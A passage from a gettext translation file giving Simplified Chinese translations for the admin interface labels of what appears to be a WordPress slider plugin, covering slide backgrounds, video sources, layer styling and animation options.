admin/views/modals-builder.php:751 msgid "No Follow" msgstr "没有关注" #: admin/views/modals-builder.php:756 msgid "Open Modal" msgstr "打开弹出" #: admin/views/modals-builder.php:757 msgid "Open Slide" msgstr "打开Slide" #: admin/views/modals-builder.php:762 msgid "Function" msgstr "功能" #: admin/views/modals-builder.php:762 msgid "javaScript Function" msgstr "javaScript函数" #: admin/views/modals-builder.php:768 msgid "Scroll to ID" msgstr "滚动到ID" #: admin/views/modals-builder.php:768 msgid "ID of Element" msgstr "ID 元素" #: admin/views/modals-builder.php:774 msgid "Scroll Offset" msgstr "滚动偏移" #: admin/views/modals-builder.php:774 msgid "Offset to Scroll Position" msgstr "偏移到滚动位置" #: admin/views/modals-builder.php:775 msgid "Animation Ease" msgstr "动画轻松" #: admin/views/modals-builder.php:776 msgid "Animation Duration" msgstr "动画持续时间" #: admin/views/modals-builder.php:776 msgid "Animation Duration in ms" msgstr "动画持续时间以毫秒为单位" #: admin/views/modals-builder.php:788 msgid "Target Layer" msgstr "目标层" #: admin/views/modals-builder.php:794 msgid "Toggle Start State" msgstr "切换开始状态" #: admin/views/modals-builder.php:794 msgid "Toggled (Visible)" msgstr "切换(可见)" #: admin/views/modals-builder.php:794 msgid "Untoggled (Hidden)" msgstr "未遮挡(隐藏)" #: admin/views/modals-builder.php:799 admin/views/modals-builder.php:804 #: admin/views/modals-builder.php:811 msgid "Frame wait's on Action" msgstr "框架等待动作" #: admin/views/modals-builder.php:809 msgid "GoTo Frame" msgstr "GoTo框架" #: admin/views/modals-builder.php:817 msgid "Frame N" msgstr "帧N." #: admin/views/modals-builder.php:818 msgid "Frame M" msgstr "框架M." #: admin/views/modals-builder.php:820 msgid "\"N\" wait's on Action" msgstr "“N”等待行动" #: admin/views/modals-builder.php:821 msgid "\"M\" wait's on Action" msgstr "“M”等待行动" #: admin/views/modals-builder.php:827 msgid "Reset Children Timelines" msgstr "重置儿童时间表" #: admin/views/modals-builder.php:832 msgid "After Action" msgstr "行动之后" #: admin/views/modals-builder.php:838 msgid "Class to Toggle" msgstr "Class to Toggle" #: admin/views/modals-builder.php:838 msgid "class Name to Toggle" msgstr "class Name to Toggle" #: admin/views/modals-builder.php:845 msgid "Action Delay" msgstr "动作延迟" #: admin/views/builder-slide-forms.php:19 #: admin/views/builder-slide-forms.php:39 #: admin/views/builder-layer-forms.php:505 #: admin/views/builder-layer-forms.php:562 #: admin/views/builder-layer-forms.php:1560 msgid "Background" msgstr "背景" #: admin/views/builder-slide-forms.php:24 msgid "Pub. Rules" msgstr "发布规则" #: admin/views/builder-slide-forms.php:25 msgid "Tags & Link" msgstr "Tags & Link" #: admin/views/builder-slide-forms.php:26 msgid "Static Layer" msgstr "静态层" #: admin/views/builder-slide-forms.php:27 msgid "Ken Burns" msgstr "肯伯恩斯" #: admin/views/builder-slide-forms.php:28 msgid "Params" msgstr "Params" #: admin/views/builder-slide-forms.php:29 msgid "Loop Layers" msgstr "循环图层" #: admin/views/builder-slide-forms.php:45 msgid "External Image" msgstr "外部图像" #: admin/views/builder-slide-forms.php:45 msgid "Transparent" msgstr "透明" #: admin/views/builder-slide-forms.php:45 msgid "Colored" msgstr "有色" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:200 msgid "YouTube Video" msgstr "YouTube视频" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:201 msgid "Vimeo Video" msgstr "Vimeo视频" #: admin/views/builder-slide-forms.php:45 msgid "HML5 Video" msgstr "HML5视频" #: admin/views/builder-slide-forms.php:57 msgid "Refresh Source" msgstr "刷新源" #: admin/views/builder-slide-forms.php:59 msgid "Background Color" msgstr "背景颜色" #: admin/views/builder-slide-forms.php:61 msgid "YouTube ID" msgstr "YouTube ID" #: admin/views/builder-slide-forms.php:61 msgid "Enter YouTube ID" msgstr "输入YouTube ID" #: admin/views/builder-slide-forms.php:63 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-layer-forms.php:255 #: admin/views/builder-layer-forms.php:259 #: admin/views/builder-layer-forms.php:262 msgid "Poster Image" msgstr "海报图片" #: admin/views/builder-slide-forms.php:63 msgid "YouTube Poster" msgstr "YouTube海报" #: admin/views/builder-slide-forms.php:66 #: admin/views/builder-slide-forms.php:73 #: admin/views/builder-slide-forms.php:84 #: admin/views/builder-layer-forms.php:571 msgid "Remove" msgstr "去掉" #: admin/views/builder-slide-forms.php:69 msgid "Vimeo ID" msgstr "Vimeo ID" #: admin/views/builder-slide-forms.php:69 msgid "Enter Vimeo ID" msgstr "输入Vimeo ID" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "MPEG" msgstr "MPEG" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "Enter MPEG Source" msgstr "输入MPEG Source" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "WEBM" msgstr "WEBM" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "Optional WEBM Source" msgstr "可选的WEBM源" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "OGV" msgstr "OGV" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "Optional OGV Source" msgstr "可选的OGV来源" #: admin/views/builder-slide-forms.php:91 msgid "Video from Stream if exists" msgstr "Stream中的视频(如果存在)" #: admin/views/builder-slide-forms.php:98 msgid "Settings" msgstr "设置" #: admin/views/builder-slide-forms.php:104 msgid "Source Size" msgstr "来源大小" #: admin/views/builder-slide-forms.php:115 msgid "BG Fit" msgstr "BG 适合" #: admin/views/builder-slide-forms.php:130 #: admin/views/builder-slide-forms.php:669 msgid "Repeat" msgstr "重复" #: admin/views/builder-slide-forms.php:138 msgid "(x%, y%)" msgstr "(x%, y%)" #: admin/views/builder-slide-forms.php:157 msgid "X% Y%" msgstr "X% Y%" #: admin/views/builder-slide-forms.php:172 msgid "\"Alt\" Attr." msgstr "\"Alt\" Attr." #: admin/views/builder-slide-forms.php:174 #: admin/views/builder-slide-forms.php:186 msgid "Filename" msgstr "文件名" #: admin/views/builder-slide-forms.php:179 msgid "Custom \"Alt\"" msgstr "习惯“Alt ”" #: admin/views/builder-slide-forms.php:184 msgid "\"Title\" Attr." msgstr "\"Title\" Attr." #: admin/views/builder-slide-forms.php:192 msgid "Custom \"Title\"" msgstr "习惯“标题”" #: admin/views/builder-slide-forms.php:196 msgid "Width Attrib." msgstr "宽度属性" #: admin/views/builder-slide-forms.php:197 msgid "Height Attrib." msgstr "高度属性" #: admin/views/builder-slide-forms.php:204 #: admin/views/builder-layer-forms.php:234 msgid "Aspect Ratio" msgstr "宽高比" #: admin/views/builder-slide-forms.php:208 msgid "Loop Mode" msgstr "循环模式" #: admin/views/builder-slide-forms.php:209 msgid "Disable" msgstr "禁用" #: admin/views/builder-slide-forms.php:210 msgid "Slider Timer paused" msgstr "Slider 定时器暂停" #: admin/views/builder-slide-forms.php:211 msgid "Slider Timer keep going" msgstr "Slider定时器继续" #: admin/views/builder-slide-forms.php:214 msgid "Force Cover Mode" msgstr "强制覆盖模式" #: admin/views/builder-slide-forms.php:215 #: admin/views/builder-layer-forms.php:278 msgid "Next Slide at End" msgstr "下一个Slide在结束" #: admin/views/builder-slide-forms.php:216 #: admin/views/builder-layer-forms.php:279 msgid "Rewind at Start" msgstr "在开始时回放" #: admin/views/builder-slide-forms.php:217 #: admin/views/builder-layer-forms.php:286 msgid "Mute at Start" msgstr "开始时静音" #: admin/views/builder-slide-forms.php:229 #: admin/views/builder-slide-forms.php:230 #: admin/views/builder-layer-forms.php:306 #: admin/views/builder-layer-forms.php:308 msgid "Arguments" msgstr "参数" #: admin/views/builder-slide-forms.php:245 #: admin/views/builder-layer-forms.php:801 msgid "On Scroll Details" msgstr "在滚动详细信息上" #: admin/views/builder-slide-forms.php:249 #: admin/views/builder-layer-forms.php:805 msgid "On Scroll can be Added per Slider in the General Options" msgstr "可以在“常规选项”中为每个滑块添加“滚动”" #: admin/views/builder-slide-forms.php:257 msgid "Parallax & 3D Settings" msgstr "视差和3D设置" #: admin/views/builder-slide-forms.php:264 msgid "Global Value ! Option to find under Slider Settings - Parallax Tab" msgstr "全球价值!在滑块设置 - 视差选项卡下查找的选项" #: admin/views/builder-slide-forms.php:268 msgid "Parallax Level" msgstr "视差水平" #: admin/views/builder-slide-forms.php:293 msgid "Scroll Effects" msgstr "滚动效果" #: admin/views/builder-slide-forms.php:297 #: admin/views/builder-slide-forms.php:302 #: admin/views/builder-slide-forms.php:307 #: admin/views/builder-layer-forms.php:848 #: admin/views/builder-layer-forms.php:861 msgid "Enabled - Scroll Based" msgstr "已启用 - 基于滚动" #: admin/views/builder-slide-forms.php:298 #: admin/views/builder-slide-forms.php:303 #: admin/views/builder-slide-forms.php:308 #: admin/views/builder-layer-forms.php:849 msgid "Disabled - Time Based" msgstr "禁用 - 基于时间" #: admin/views/builder-slide-forms.php:327 msgid "BG Filter" msgstr "BG过滤器" #: admin/views/builder-slide-forms.php:387 msgid "Slide Animation" msgstr "Slide 动画" #: admin/views/builder-slide-forms.php:391 msgid "Active Transition Order" msgstr "主动过渡订单" #: admin/views/builder-slide-forms.php:393 msgid "Add Transition" msgstr "添加转换" #: admin/views/builder-slide-forms.php:400 msgid "Fade Settings" msgstr "淡入淡出设置" #: admin/views/builder-slide-forms.php:419 msgid "Ken Burns / Pan Zoom" msgstr "Ken Burns / Pan Zoom" #: admin/views/builder-slide-forms.php:423 msgid "Pan Zoom Settings" msgstr "平移缩放设置" #: admin/views/builder-slide-forms.php:483 msgid "Overflow" msgstr "溢出" #: admin/views/builder-slide-forms.php:484 msgid "Visible" msgstr "可见" #: admin/views/builder-slide-forms.php:485 msgid "Hidden" msgstr "隐" #: admin/views/builder-slide-forms.php:488 msgid "Z Position" msgstr "Z位置" #: admin/views/builder-slide-forms.php:489 msgid "Front" msgstr "面前" #: admin/views/builder-slide-forms.php:493 msgid "Show Last Edited Slide" msgstr "显示上次编辑Slide" #: admin/views/builder-slide-forms.php:506 msgid "Slide HTML Tags" msgstr "Slide HTML Tags" #: admin/views/builder-slide-forms.php:511 msgid "ID" msgstr "ID" #: admin/views/builder-slide-forms.php:512 msgid "HTML Data" msgstr "HTML Data" #: admin/views/builder-slide-forms.php:519 msgid "Link & Seo" msgstr "Link&Seo" #: admin/views/builder-slide-forms.php:524 msgid "Slide Link" msgstr "Slide 链接" #: admin/views/builder-slide-forms.php:527 msgid "Regular" msgstr "定期" #: admin/views/builder-slide-forms.php:528 msgid "To Slide" msgstr "至Slide" #: admin/views/builder-slide-forms.php:531 msgid "URL" msgstr "URL" #: admin/views/builder-slide-forms.php:532 msgid "Target" msgstr "目标" #: admin/views/builder-slide-forms.php:533 msgid "_self" msgstr "_self" #: admin/views/builder-slide-forms.php:534 msgid "_blank" msgstr "_blank" #: admin/views/builder-slide-forms.php:535 msgid "_top" msgstr "_top" #: admin/views/builder-slide-forms.php:536 msgid "_parent" msgstr "_parent" #: admin/views/builder-slide-forms.php:540 msgid "Link to Slide" msgstr "链接到幻灯片" #: admin/views/builder-slide-forms.php:542 msgid "Sensibility" msgstr "感性" #: admin/views/builder-slide-forms.php:543 msgid "Over Layers (Front)" msgstr "在图层上(正面)" #: admin/views/builder-slide-forms.php:544 msgid "Behind Layers (Back)" msgstr "层背后(背面)" #: admin/views/builder-slide-forms.php:563 msgid "Slide Length" msgstr "Slide 长度" #: admin/views/builder-slide-forms.php:566 msgid "Stop Slider Progress" msgstr "停止滑块进度" #: admin/views/builder-slide-forms.php:577 msgid "Visible in Navigation" msgstr "在导航中可见" #: admin/views/builder-slide-forms.php:578 msgid "Hidden in Navigation" msgstr "隐藏在导航中" #: admin/views/builder-slide-forms.php:595 msgid "Publish" msgstr "发布" #: admin/views/builder-slide-forms.php:599 msgid "Published" msgstr "发布时间" #: admin/views/builder-slide-forms.php:600 msgid "Unpublished" msgstr "未公布" #: admin/views/builder-slide-forms.php:617 msgid "Wordpress Multi Language" msgstr "Wordpress多语言" #: admin/views/builder-slide-forms.php:623 msgid "Slide Lang." msgstr "Slide 语言" #: admin/views/builder-slide-forms.php:639 msgid "Parameters" msgstr "参数" #: admin/views/builder-slide-forms.php:653 msgid "Description" msgstr "描述" #: admin/views/builder-slide-forms.php:665 msgid "Loop All Layer Timeline" msgstr "循环所有图层时间轴" #: admin/views/builder-slide-forms.php:667 msgid "Use Slide Loop" msgstr "使用幻灯片循环" #: admin/views/builder-slide-forms.php:670 msgid "Start" msgstr "开始" #: admin/views/builder-slide-forms.php:671 msgid "End" msgstr "结束" #: admin/views/builder-slide-forms.php:687 msgid "Module Admin Thumbnail" msgstr "模块管理员缩略图" #: admin/views/builder-slide-forms.php:692 msgid "Admin Thumb" msgstr "管理员拇指" #: admin/views/builder-slide-forms.php:701 msgid "Navig. Thumb" msgstr "Navig。拇指" #: admin/views/builder-slide-forms.php:707 msgid "Dimension" msgstr "尺寸" #: admin/views/builder-slide-forms.php:708 msgid "From Slider Settings" msgstr "" "从Slider\n" "设置 " #: admin/views/builder-layer-forms.php:23 msgid "Editor View" msgstr "编辑观点" #: admin/views/builder-layer-forms.php:23 #: admin/views/builder-layer-forms.php:24 #: admin/views/builder-layer-forms.php:25 msgid "Layer options" msgstr "图层选项" #: admin/views/builder-layer-forms.php:24 msgid "Hover View" msgstr "悬停视图" #: admin/views/builder-layer-forms.php:25 msgid "Animation View" msgstr "动画视图" #: admin/views/builder-layer-forms.php:30 msgid "Size & Pos" msgstr "尺寸和位置" #: admin/views/builder-layer-forms.php:31 msgid "Adv. Style" msgstr "高级样式" #: admin/views/builder-layer-forms.php:33 msgid "Loop Layer" msgstr "循环层" #: admin/views/builder-layer-forms.php:34 #: admin/views/builder-layer-forms.php:920 #: admin/views/builder-layer-forms.php:924 msgid "Hover" msgstr "徘徊" #: admin/views/builder-layer-forms.php:38 #: admin/views/builder-layer-forms.php:873 #: admin/views/builder-layer-forms.php:876 msgid "Attributes" msgstr "属性" #: admin/views/builder-layer-forms.php:39 msgid "Custom CSS" msgstr "习惯 CSS" #: admin/views/builder-layer-forms.php:40 msgid "Static" msgstr "静态的" #: admin/views/builder-layer-forms.php:57 msgid "Row Settings" msgstr "行设置" #: admin/views/builder-layer-forms.php:74 msgid "Columns" msgstr "列" #: admin/views/builder-layer-forms.php:75 msgid "Update Row" msgstr "更新行" #: admin/views/builder-layer-forms.php:79 msgid "Break At" msgstr "休息时间" #: admin/views/builder-layer-forms.php:86 msgid "Row Position" msgstr "行位置" #: admin/views/builder-layer-forms.php:98 msgid "Column Settings" msgstr "列设置" #: admin/views/builder-layer-forms.php:101 msgid "Vertical Align" msgstr "垂直对齐" #: admin/views/builder-layer-forms.php:116 msgid "Text/Button Layer Content" msgstr "文本/按钮层内容" #: admin/views/builder-layer-forms.php:121 msgid "Idle" msgstr "闲" #: admin/views/builder-layer-forms.php:122 msgid "Toggle" msgstr "切换" #: admin/views/builder-layer-forms.php:128 msgid "Meta" msgstr "Meta" #: admin/views/builder-layer-forms.php:136 msgid "Use Toggle" msgstr "使用切换" #: admin/views/builder-layer-forms.php:137 msgid "Toggled in Hover Style" msgstr "切换为悬停风格" #: admin/views/builder-layer-forms.php:138 msgid "Inverse Toggled Content" msgstr "反向切换内容" #: admin/views/builder-layer-forms.php:142 msgid "Placeholder" msgstr "占位符" #: admin/views/builder-layer-forms.php:143 msgid "Line Break" msgstr "越线" #: admin/views/builder-layer-forms.php:143 msgid "Only Manual <br/>" msgstr "只有手动&lt; br /&gt;" #: admin/views/builder-layer-forms.php:143 msgid "Width Based" msgstr "基于宽度" #: admin/views/builder-layer-forms.php:143 msgid "Content Based" msgstr "基于内容" #: admin/views/builder-layer-forms.php:143 msgid "Content and Width Based" msgstr "基于内容和宽度" #: admin/views/builder-layer-forms.php:151 msgid "Text Align" msgstr "文字对齐" #: admin/views/builder-layer-forms.php:166 msgid "Image Layer Content" msgstr "图像层内容" #: admin/views/builder-layer-forms.php:168 msgid "Image from Stream if exist" msgstr "如果存在,来自Stream的图像" #: admin/views/builder-layer-forms.php:179 #: admin/views/builder-layer-forms.php:181 msgid "Default Setting" msgstr "默认设置" #: admin/views/builder-layer-forms.php:179 msgid "Force Lazy Loading" msgstr "强制延迟加载" #: admin/views/builder-layer-forms.php:179 msgid "Ignore Lazy Loading" msgstr "忽略延迟加载" #: admin/views/builder-layer-forms.php:180 msgid "Source Type" msgstr "来源类型" #: admin/views/builder-layer-forms.php:192 msgid "Media Content" msgstr "媒体内容" #: admin/views/builder-layer-forms.php:196 msgid "Video from Stream if exist" msgstr "如果存在,来自Stream的视频" #: admin/views/builder-layer-forms.php:202 msgid "HTML5 Video" msgstr "HTML5视频" #: admin/views/builder-layer-forms.php:208 msgid "Video ID" msgstr "视频ID" #: admin/views/builder-layer-forms.php:209 msgid "Enter Video ID" msgstr "输入视频ID" #: admin/views/builder-layer-forms.php:228 msgid "Preload" msgstr "预载" #: admin/views/builder-layer-forms.php:228 msgid "auto" msgstr "汽车" #: admin/views/builder-layer-forms.php:228 msgid "Meta Data" msgstr "Meta Data" #: admin/views/builder-layer-forms.php:230 msgid "Skip Preload" msgstr "跳过预加载" #: admin/views/builder-layer-forms.php:234 msgid "16:9" msgstr "16:9" #: admin/views/builder-layer-forms.php:234 msgid "4:3" msgstr "4:3" #: admin/views/builder-layer-forms.php:234 msgid "1.85:1" msgstr "1.85:1" #: admin/views/builder-layer-forms.php:234 msgid "2.39:1" msgstr "2.39:1" #: admin/views/builder-layer-forms.php:240 msgid "Auto Play" msgstr "自动播放" #: admin/views/builder-layer-forms.php:240 msgid "Only 1st Time Slide shown" msgstr "只有第一次Slide显示" #: admin/views/builder-layer-forms.php:240 msgid "On - Skip 1st Time Slide" msgstr "On - Skip 1st Time Slide" #: admin/views/builder-layer-forms.php:241 msgid "Loop" msgstr "环" #: admin/views/builder-layer-forms.php:241 msgid "No Loop" msgstr "没有循环" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Pause Slide" msgstr "循环媒体 - 暂停Slide" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Do Not Pause Slide" msgstr "循环媒体 - 不要停顿Slide" #: admin/views/builder-layer-forms.php:250 msgid "Media Poster" msgstr "媒体海报" #: admin/views/builder-layer-forms.php:252 msgid "Poster from Stream if exist" msgstr "如果存在,来自Stream的海报" #: admin/views/builder-layer-forms.php:255 msgid "YouTube Thumb" msgstr "YouTube拇指" #: admin/views/builder-layer-forms.php:259 msgid "Vimeo Thumb" msgstr "Vimeo Thumb" #: admin/views/builder-layer-forms.php:264 msgid "From Stream" msgstr "来自Stream" #: admin/views/builder-layer-forms.php:265 msgid "Remove Poster" msgstr "删除海报" #: admin/views/builder-layer-forms.php:267 msgid "Poster in Pause" msgstr "暂停海报" #: admin/views/builder-layer-forms.php:268 msgid "No Poster on Mobile" msgstr "手机上没有海报" #: admin/views/builder-layer-forms.php:269 msgid "Only Poster on Mobile" msgstr "只有移动海报" #: admin/views/builder-layer-forms.php:274 msgid "Advenced Media Settings" msgstr "高级媒体设置" #: admin/views/builder-layer-forms.php:276 msgid "Stop Other Media" msgstr "停止其他媒体" #: admin/views/builder-layer-forms.php:277 msgid "Allow Fullscreen" msgstr "允许全屏" #: admin/views/builder-layer-forms.php:280 msgid "No Interaction" msgstr "没有互动" #: admin/views/builder-layer-forms.php:282 msgid "Controls" msgstr "控制" #: admin/views/builder-layer-forms.php:283 msgid "Large Controls" msgstr "大型控制" #: admin/views/builder-layer-forms.php:285 msgid "Inline Mode" msgstr "内联模式" #: admin/views/builder-layer-forms.php:289 msgid "Media Volume (0-100)" msgstr "媒体量(0-100)" #: admin/views/builder-layer-forms.php:290 msgid "1/4" msgstr "1/4" #: admin/views/builder-layer-forms.php:290 msgid "1/2" msgstr "1/2" #: admin/views/builder-layer-forms.php:290 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Normal" msgstr "正常" #: admin/views/builder-layer-forms.php:290 msgid "x1.5" msgstr "x1.5" #: admin/views/builder-layer-forms.php:290 msgid "x2" msgstr "x2" #: admin/views/builder-layer-forms.php:293 msgid "i.e. 0:15" msgstr "i.e. 0:15" #: admin/views/builder-layer-forms.php:294 msgid "i.e. 2:41" msgstr "i.e. 2:41" #: admin/views/builder-layer-forms.php:315 msgid "Shape Layer Content" msgstr "形状图层内容" #: admin/views/builder-layer-forms.php:322 msgid "Display Mode in Column" msgstr "列中的显示模式" #: admin/views/builder-layer-forms.php:324 msgid "Display" msgstr "显示" #: admin/views/builder-layer-forms.php:324 msgid "Block" msgstr "块" #: admin/views/builder-layer-forms.php:324 msgid "Inline-Block" msgstr "inline-block的" #: admin/views/builder-layer-forms.php:325 msgid "Float" msgstr "浮动" #: admin/views/builder-layer-forms.php:326 msgid "Clear" msgstr "明确" #: admin/views/builder-layer-forms.php:328 msgid "Add LineBreak Before" msgstr "加 LineBreak 之前" #: admin/views/builder-layer-forms.php:329 msgid "Add LineBreak After" msgstr "加 LineBreak 后" #: admin/views/builder-layer-forms.php:335 msgid "HTML Tag" msgstr "HTML Tag" #: admin/views/builder-layer-forms.php:337 msgid "Wrapping Tag" msgstr "Wrapping Tag" #: admin/views/builder-layer-forms.php:337 msgid "<rs-layer>" msgstr "<rs-layer>" #: admin/views/builder-layer-forms.php:337 msgid "<p>" msgstr "<p>" #: admin/views/builder-layer-forms.php:337 msgid "<h1>" msgstr "<h1>" #: admin/views/builder-layer-forms.php:337 msgid "<h2>" msgstr "<h2>" #: admin/views/builder-layer-forms.php:337 msgid "<h3>" msgstr "<h3>" #: admin/views/builder-layer-forms.php:337 msgid "<h4>" msgstr "<h4>" #: admin/views/builder-layer-forms.php:337 msgid "<h5>" msgstr "<h5>" #: admin/views/builder-layer-forms.php:337 msgid "<h6>" msgstr "<h6>" #: admin/views/builder-layer-forms.php:337 msgid "<span>" msgstr "<span>" #: admin/views/builder-layer-forms.php:350 #: admin/views/builder-layer-forms.php:355 msgid "Global Layer Settings" msgstr "全局图层设置" #: admin/views/builder-layer-forms.php:357 msgid "Layer is Global" msgstr "图层是全局的" #: admin/views/builder-layer-forms.php:372 #: admin/views/builder-layer-forms.php:375 msgid "Responsive Behavior" msgstr "响应行为" #: admin/views/builder-layer-forms.php:383 msgid "Resize Between Devices" msgstr "在设备之间调整大小" #: admin/views/builder-layer-forms.php:405 msgid "Hide \"Under\" Width" msgstr "隐藏“在”宽度下" #: admin/views/builder-layer-forms.php:406 msgid "Show if mouse over Slider" msgstr "显示鼠标悬停Slider" #: admin/views/builder-layer-forms.php:415 #: admin/views/builder-layer-forms.php:418 #: admin/views/builder-layer-forms.php:433 msgid "Position & Size" msgstr "位置和大小" #: admin/views/builder-layer-forms.php:420 #: admin/views/builder-layer-forms.php:479 msgid "Additional" msgstr "额外" #: admin/views/builder-layer-forms.php:426 msgid "No options available for your current selection." msgstr "没有可供您当前选择的选项。" #: admin/views/builder-layer-forms.php:463 msgid "Size Presets" msgstr "大小预设" #: admin/views/builder-layer-forms.php:463 msgid "Custom Size" msgstr "习惯尺寸" #: admin/views/builder-layer-forms.php:463 msgid "Full Width" msgstr "全屏宽度" #: admin/views/builder-layer-forms.php:463 msgid "Full Height" msgstr "全高" #: admin/views/builder-layer-forms.php:463 msgid "Stretch" msgstr "伸展" #: admin/views/builder-layer-forms.php:463 msgid "Cover" msgstr "覆盖" #: admin/views/builder-layer-forms.php:466 msgid "Layer Align" msgstr "图层对齐" #: admin/views/builder-layer-forms.php:468 msgid "Layer Area" msgstr "图层区域" #: admin/views/builder-layer-forms.php:504 msgid "Font" msgstr "字形" #: admin/views/builder-layer-forms.php:509 msgid "Font & Icon" msgstr "字体和图标" #: admin/views/builder-layer-forms.php:519 msgid "More" msgstr "更多" #: admin/views/builder-layer-forms.php:519 msgid "Less" msgstr "减" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Underline" msgstr "强调" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Overline" msgstr "上划线" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Line-through" msgstr "行通" #: admin/views/builder-layer-forms.php:527 msgid "Uppercase" msgstr "大写" #: admin/views/builder-layer-forms.php:527 msgid "Lowercase" msgstr "小写" #: admin/views/builder-layer-forms.php:527 msgid "Capitalize" msgstr "大写" #: admin/views/builder-layer-forms.php:528 msgid "Selectable" msgstr "可选" #: admin/views/builder-layer-forms.php:528 msgid "Unselectable" msgstr "不可选择" #: admin/views/builder-layer-forms.php:533 #: admin/views/builder-layer-forms.php:987 msgid "Text Color" msgstr "文字颜色" #: admin/views/builder-layer-forms.php:534 msgid "Color in Frame" msgstr "框架中的颜色" #: admin/views/builder-layer-forms.php:546 #: admin/views/builder-layer-forms.php:1000 msgid "SVG Color" msgstr "SVG颜色" #: admin/views/builder-layer-forms.php:547 #: admin/views/builder-layer-forms.php:1001 msgid "Stroke Color" msgstr "中风颜色" #: admin/views/builder-layer-forms.php:565 msgid "BG in Frame" msgstr "BG在框架中" #: admin/views/builder-layer-forms.php:609 msgid "Spacings" msgstr "间距" #: admin/views/builder-layer-forms.php:631 msgid "Inherit" msgstr "继承" #: admin/views/builder-layer-forms.php:632 msgid "Middle" msgstr "中间" #: admin/views/builder-layer-forms.php:642 msgid "Border" msgstr "边界" #: admin/views/builder-layer-forms.php:645 #: admin/views/builder-layer-forms.php:1025 msgid "Border Color" msgstr "边框颜色" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Border Style" msgstr "边框风格" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Solid" msgstr "固体" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dashed" msgstr "虚线" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dotted" msgstr "带点" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Double" msgstr "双" #: admin/views/builder-layer-forms.php:684 msgid "Basic Transforms" msgstr "基本变换" #: admin/views/builder-layer-forms.php:700 msgid "Box Shadow" msgstr "盒子阴影" #: admin/views/builder-layer-forms.php:703 #: admin/views/builder-layer-forms.php:732 #: admin/views/builder-layer-forms.php:1568 msgid "Effect" msgstr "影响" #: admin/views/builder-layer-forms.php:707 msgid "Shadow on" msgstr "阴影" #: admin/views/builder-layer-forms.php:709 msgid "Wrapper Container" msgstr "Wrapper 容器" #: admin/views/builder-layer-forms.php:710 msgid "Layer Container" msgstr "图层容器" #: admin/views/builder-layer-forms.php:723 #: admin/views/builder-layer-forms.php:743 msgid "Shadow Color" msgstr "阴影颜色" #: admin/views/builder-layer-forms.php:729 msgid "Text Shadow" msgstr "文字阴影" #: admin/views/builder-layer-forms.php:749 msgid "Blend Mode" msgstr "混合模式" #: admin/views/builder-layer-forms.php:754 msgid "Can not be rendered in Editor. Please preview in Frontend." msgstr "无法在编辑器中呈现。请在前端预览。" #: admin/views/builder-layer-forms.php:757 msgid "Show in Editor" msgstr "在编辑器中显示" #: admin/views/builder-layer-forms.php:765 msgid "Spike Masks" msgstr "穗状面具" #: admin/views/builder-layer-forms.php:768 msgid "Enable Spikes" msgstr "启用峰值" #: admin/views/builder-layer-forms.php:770 msgid "Left Spike" msgstr "左穗" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "No Spikes" msgstr "没有尖峰" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Top" msgstr "1 Spike Top" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Middle" msgstr "1 Spike Middle" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Bottom" msgstr "1 Spike Bottom" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Two Spikes" msgstr "两个尖刺" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Three Spikes" msgstr "三个尖刺" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Four Spikes" msgstr "四个尖刺" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Five Spikes" msgstr "五尖刺" #: admin/views/builder-layer-forms.php:771 #: admin/views/builder-layer-forms.php:773 msgid "Spike Width" msgstr "尖峰宽度" #: admin/views/builder-layer-forms.php:772 msgid "Right Spike" msgstr "右尖刺" #: admin/views/builder-layer-forms.php:780 msgid "Sharp Corner Extensions" msgstr "锐角扩展" #: admin/views/builder-layer-forms.php:783 msgid "Left Corner" msgstr "左角" #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "No Corner" msgstr "没有角落" #: admin/views/builder-layer-forms.php:784 msgid "Right Corner" msgstr "右上角" #: admin/views/builder-layer-forms.php:813 msgid "Parallax & 3D" msgstr "视差和3D" #: admin/views/builder-layer-forms.php:815 msgid "Level" msgstr "水平" #: admin/views/builder-layer-forms.php:833 msgid "Under Mask" msgstr "在面具下" #: admin/views/builder-layer-forms.php:836 msgid "Attach to BG" msgstr "附上BG" #: admin/views/builder-layer-forms.php:844 msgid "Timeline Scroll Based" msgstr "时间轴滚动" #: admin/views/builder-layer-forms.php:846 #: admin/views/builder-layer-forms.php:859 msgid "Handling" msgstr "处理" #: 